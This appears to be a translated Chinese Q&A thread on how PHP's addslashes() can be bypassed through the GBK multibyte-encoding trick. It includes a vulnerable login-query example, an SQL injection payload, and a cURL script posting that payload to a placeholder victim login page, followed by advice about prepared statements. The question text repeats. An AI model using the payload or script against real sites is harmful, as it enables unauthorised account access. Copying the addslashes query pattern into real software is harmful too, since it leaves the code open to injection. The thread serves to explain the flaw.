在 PHP 中,我知道这mysql_real_escape
比使用addslashes
. 但是,我找不到addslashes
让 SQL 注入发生的情况的示例。
谁能举一些例子?
在 PHP 中,我知道这mysql_real_escape
比使用addslashes
. 但是,我找不到addslashes
让 SQL 注入发生的情况的示例。
谁能举一些例子?
嗯,这就是你想要的文章。
基本上,攻击的工作方式是addslashes()
将反斜杠放在多字节字符的中间,这样反斜杠就会因为成为有效多字节序列的一部分而失去意义。
文章中的一般警告:
0x5c
这种类型的 攻击对于任何以addslashes()
. UTF-8 不符合此描述。
Chris Shiflett用下面的例子清楚地解释了,如果你在数据库中使用 GBK 编码时尝试一下,那当然会起作用。即使我尝试过,这也证明了sql注入的机会,虽然很少,但是有知识和能力的人可以轻松注入。这是一个例子......
<?php
$mysql = array();
$db = mysqli_init();
$db->real_connect('localhost', 'myuser', 'mypass', 'mydb');
/* SQL Injection Example */
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
$_POST['password'] = 'guess';
$mysql['username'] = addslashes($_POST['username']);
$mysql['password'] = addslashes($_POST['password']);
$sql = "SELECT * FROM users
WHERE username = '{$mysql['username']}'
AND password = '{$mysql['password']}'";
$result = $db->query($sql);
if ($result->num_rows) {
/* Success */
} else {
/* Failure */
}
?>
虽然使用addslashes() 或magic_quotes_gpc 通常会被认为有些安全,但使用GBK 会使它们几乎无用。下面的 PHP cURL 脚本将能够利用注入,我希望这能帮助你更多地理解:
<?php
$url = "http://www.victimsite.com/login.php";
$ref = "http://www.victimsite.com/index.php";
$session = "PHPSESSID=abcdef01234567890abcdef01";
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $url );
curl_setopt( $ch, CURLOPT_REFERER, $ref );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE );
curl_setopt( $ch, CURLOPT_COOKIE, $session );
curl_setopt( $ch, CURLOPT_POST, TRUE );
curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=" . chr(0xbf) . chr(0x27) .
"OR 1=1/*&submit=1" );
$data = curl_exec( $ch );
print( $data );
curl_close( $ch );
?>
作为对这里答案读者的补充:这个 MySQL 错误已经修复:)
此外,使用准备好的语句始终是一种好习惯。这是您可以触发查询的最无漏洞利用的方式(并且在几个用例中是性能最高的)。它会让你摆脱这个缺陷。
mysql_real_escape_string() 与 Prepared Statements 对比清楚地解释了mysql_real_escape_string() 不是 100% 安全的。
使用mysql_set_charset('GBK')代替mysql_query("SET CHARACTER SET 'GBK'"), mysql_real_escape_string() 可以 100% 安全。